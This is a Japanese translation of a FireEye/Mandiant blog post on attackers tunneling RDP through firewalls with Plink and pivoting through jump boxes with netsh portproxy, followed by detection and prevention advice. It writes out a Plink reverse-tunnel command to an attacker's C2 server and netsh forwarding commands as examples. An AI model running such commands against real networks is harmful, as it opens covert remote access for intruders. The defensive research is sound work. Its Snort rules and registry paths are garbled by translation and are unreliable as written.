リモート デスクトップ サービスは、Microsoft Windows のコンポーネントであり、システム管理者、エンジニア、およびリモートの従業員に提供する利便性のためにさまざまな企業で使用されています。一方、リモート デスクトップ サービス、特にリモート デスクトップ プロトコル (RDP) は、標的のシステムが侵害された際に、リモートの攻撃者に同じ利便性を提供します。巧妙な攻撃者が足がかりを確立し、十分なログオン資格情報を取得すると、リモート アクセスにバックドアから直接 RDP セッションを使用するように切り替える可能性があります。マルウェアが排除されると、侵入の検出がますます困難になります。
ルールに反する RDPing
脅威アクターは、システムに不要なアーティファクトを残す可能性がある非グラフィカル バックドアよりも、安定性と機能上の利点から RDP を引き続き好みます。その結果、FireEye は、攻撃者がネイティブの Windows RDP ユーティリティを使用して、侵害された環境のシステム間で横方向に接続することを確認しました。歴史的に、ファイアウォールと NAT ルールによって保護された公開されていないシステムは、一般に、インバウンド RDP 試行に対して脆弱ではないと考えられていました。しかし、脅威アクターは、ネットワーク トンネリングとホストベースのポート フォワーディングを使用して、これらのエンタープライズ コントロールをますます破壊し始めています。
ネットワーク トンネリングとポート フォワーディングは、ファイアウォールの「ピンホール」 (ファイアウォールで保護されたネットワーク内のホスト上のサービスへのアプリケーション アクセスを許可する、ファイアウォールで保護されていないポート) を利用して、ファイアウォールでブロックされたリモート サーバーとの接続を確立します。 .ファイアウォールを介してリモート サーバーへの接続が確立されると、その接続をトランスポート メカニズムとして使用して、ローカル リッスン サービス (ファイアウォール内にある) をファイアウォールを介して送信または「トンネリング」し、リモート サーバーからアクセスできるようにすることができます (図 1 に示すように、ファイアウォールの外側に配置されます)。
インバウンド RDP トンネリング
RDP セッションをトンネリングするために使用される一般的なユーティリティは、一般に Plink として知られる PuTTY リンクです。 Plink は、任意の送信元ポートと宛先ポートを使用して、他のシステムへのセキュア シェル (SSH) ネットワーク接続を確立するために使用できます。多くの IT 環境では、プロトコル インスペクションを実行しないか、ネットワークからの SSH 通信をブロックしないため、FIN8 などの攻撃者は Plink を使用して暗号化されたトンネルを作成し、感染したシステムの RDP ポートが攻撃者のコマンド アンド コントロール (C2 ) サーバー。
Plink 実行可能コマンドの例: plink.exe <ユーザー>@<IP またはドメイン> -pw <パスワード> -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389 |
図 2 は、Plink を使用して作成された成功した RDP トンネルの例を示しています。図 3 は、攻撃者の C2 サーバーからのポート フォワーディングを使用して、トンネル経由で送信される通信の例を示しています。
攻撃者がシステムに RDP でアクセスできるようにするには、必要なトンネリング ユーティリティを作成またはアクセスするために、攻撃者が他の侵害手段を通じてシステムにアクセスできる必要があることに注意してください。たとえば、攻撃者の最初のシステム侵害は、環境への足がかりを確立することを目的としたフィッシング メールからペイロードがドロップされた結果であり、同時に資格情報を抽出して特権をエスカレートした結果である可能性があります。侵害された環境への RDP トンネリングは、攻撃者が環境内での存在を維持するために通常使用する多くのアクセス方法の 1 つです。
ジャンプ ボックスのピボット
RDP は侵害されたシステムに外部からアクセスするための完璧なツールであるだけでなく、RDP セッションを複数のシステム間でデイジー チェーン接続して、環境内を横方向に移動することもできます。 FireEye は、脅威アクターがネイティブの Windows ネットワーク シェル (netsh) コマンドを使用して RDP ポート フォワーディングを利用し、管理ジャンプ ボックスを介してのみ到達可能な新たに発見されたセグメント化されたネットワークにアクセスすることを確認しています。
netsh ポート転送コマンドの例: netsh interface portproxy add v4tov4 listenport=8001 listenaddress=<JUMP BOX IP> connectport=3389 connectaddress=<DESTINATION IP> 短縮された netsh ポート フォワーディング コマンドの例: netsh I pavl=8001 listena=<ジャンプ ボックス IP> connectp=3389 c=<宛先 IP> |
たとえば、攻撃者は、以前に侵害されたシステムから送信されたトラフィックを任意のポートでリッスンするようにジャンプ ボックスを構成できます。その後、トラフィックはジャンプ ボックスを介して、デフォルトの RDP ポート TCP 3389 を含む指定されたポートを使用して、セグメント化されたネットワーク上の任意のシステムに直接転送されます。このタイプの RDP ポート転送により、攻撃者はジャンプ ボックスの許可されたネットワーク ルートを利用することができます。進行中の RDP セッション中にジャンプ ボックスを使用している正当な管理者を妨害することはありません。図 4 は、管理ジャンプ ボックスを介した、セグメント化されたネットワークへの RDP のラテラル ムーブメントの例を示しています。
RDP トンネリングの防止と検出
RDP が有効になっている場合、攻撃者は横方向に移動し、トンネリングまたはポート フォワーディングを通じて環境内での存在を維持する方法を手に入れます。これらのタイプの RDP 攻撃に対する脆弱性を緩和して検出するには、組織はホストベースとネットワークベースの両方の防止および検出メカニズムに重点を置く必要があります。詳細については、リモート デスクトップ プロトコルのベースラインの確立に関する FireEye ブログの投稿を参照してください。
ホストベースの防止:
- リモート デスクトップ サービス: リモート接続にサービスが必要ないすべてのエンド ユーザー ワークステーションおよびシステムで、リモート デスクトップ サービスを無効にします。
- ホストベースのファイアウォール: 受信 RDP 接続を明示的に拒否するホストベースのファイアウォール ルールを有効にします。
- ローカル アカウント: [リモート デスクトップ サービス経由のログオンを拒否する] セキュリティ設定を有効にして、ワークステーションでローカル アカウントを使用して RDP を使用できないようにします。
ホストベースの検出:
レジストリ キー:
- RDP セッション トンネリングによって悪用される可能性のある Plink 接続に関連付けられたレジストリ キーを確認して、一意のソース システムと宛先システムを特定します。デフォルトでは、PuTTY と Plink の両方がセッション情報と以前に接続した ssh サーバーを Windows システムの次のレジストリ キーに保存します。
- HKEY_CURRENT_USERSoftwareSimonTathamPuTTY
- HKEY_CURRENT_USERSoftWareSimonTathamPuTTYSshHostKeys
- 同様に、netsh を使用した PortProxy 構成の作成は、次の Windows レジストリ キーに格納されます。
- HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesPortProxyv4tov4
- これらのレジストリ キーを収集して確認することで、正当な SSH と予期しないトンネリング アクティビティの両方を特定できます。各アーティファクトの目的を確認するために、追加のレビューが必要になる場合があります。
イベント ログ:
- 忠実度の高いログオン イベントのイベント ログを確認します。一般的な RDP ログオン イベントは、Windows システムの次のイベント ログに含まれています。
- %systemroot%WindowsSystem32winevtLogsMicrosoft-TerminalServices-LocalSessionmanager%3Operational.evtx
- %systemroot%WindowsSystem32winevtLogsSecurity.evtx
- 「TerminalServices-LocalSessionManager」ログには、EID 21 で識別される成功したインタラクティブなローカルまたはリモート ログオン イベントと、EID 25 で識別される適切なユーザー ログアウトによって終了されなかった、以前に確立された RDP セッションの成功した再接続が含まれています。 EID 4624 で識別される 10 個のリモート インタラクティブ ログオン (RDP)。ローカルホスト IP アドレス (127.0.0.1 – 127.255.255.255) として記録されたソース IP アドレスは、リッスンしているローカルホスト ポートからローカルホストの RDP ポートにルーティングされたトンネル ログオンを示している可能性があります。 TCP3389.
「plink.exe」ファイル実行の実行アーティファクトを確認します。攻撃者は、検出を回避するためにファイル名を変更できることに注意してください。関連する成果物には以下が含まれますが、これらに限定されません。
- アプリケーション互換性キャッシュ/Shimcache
- アムキャッシュ
- ジャンプ リスト
- プリフェッチ
- サービスイベント
- WMI リポジトリからの CCM 最近使用したアプリ
- レジストリ キー
ネットワークベースの防止:
- リモート接続: 接続に RDP が必要な場合は、指定されたジャンプ ボックスまたは集中管理サーバーから接続を開始するように強制します。
- ドメイン アカウント: 特権アカウント (ドメイン管理者など) とサービス アカウントには、「リモート デスクトップ サービスを介したログオンを拒否する」セキュリティ設定を採用します。これらのタイプのアカウントは、環境内の機密性の高いシステムに横方向に移動するために攻撃者によって一般的に使用されるためです。
ネットワークベースの検出:
- ファイアウォール ルール: 既存のファイアウォール ルールを確認して、ポート フォワーディングに対する脆弱性の領域を特定します。ポート転送の潜在的な使用に加えて、環境内のワークステーション間の内部通信の監視を実施する必要があります。通常、ワークステーションは相互に直接通信する必要はなく、必要な場合を除き、ファイアウォール ルールを使用してそのような通信を防ぐことができます。
- ネットワーク トラフィック: ネットワーク トラフィックのコンテンツ インスペクションを実行します。特定のポートで通信しているすべてのトラフィックが、見た目どおりであるとは限りません。たとえば、攻撃者は TCP ポート 80 または 443 を使用して、リモート サーバーとの RDP トンネルを確立する可能性があります。ネットワーク トラフィックを詳細に調べると、実際には HTTP または HTTPS ではなく、まったく異なるトラフィックであることが明らかになる可能性があります。したがって、組織はネットワーク トラフィックを注意深く監視する必要があります。
- Snort ルール: トンネリングされた RDP の主な指標は、RDP ハンドシェイクに指定された低送信元ポートが通常別のプロトコルに使用される場合に発生します。図 5 は、セキュリティ チームがネットワーク トラフィック内の RDP トンネリングを特定するのに役立つ 2 つのサンプル Snort ルールを示しています。
alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:”RDP – HANDSHAKE [Tunneled msts]”; dsize:<65; content:”|03 00 00|” ; 深さ:3; 内容:”|e0|”; 距離:2; 範囲内:1; 内容:”Cookie: mstshash=”; 距離:5; 範囲内:17; sid:1; rev:1;) |
alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:”RDP – HANDSHAKE [Tunneled]”; フロー: 確立; コンテンツ:”|c0 00|Duca”; 深さ:250; content:”rdpdr”; content:”cliprdr”; sid:2; rev:1;) |
図 5: RDP トンネリングを識別する Snort ルールの例
結論
RDP により、IT 環境は自由と相互運用性をユーザーに提供できます。しかし、RDP を使用してセグメンテーションが制限されたネットワーク間を横方向に移動する脅威アクターがますます増えているため、セキュリティ チームは、正当な RDP トラフィックと悪意のある RDP トラフィックを解読するという課題に直面しています。したがって、悪意のある RDP の使用を積極的に監視し、特定できるように、適切なホストベースおよびネットワークベースの防止および検出方法を採用する必要があります。
参照: https://www.mandiant.com/resources/blog/bypassing-network-restrictions-through-rdp-tunneling
Comments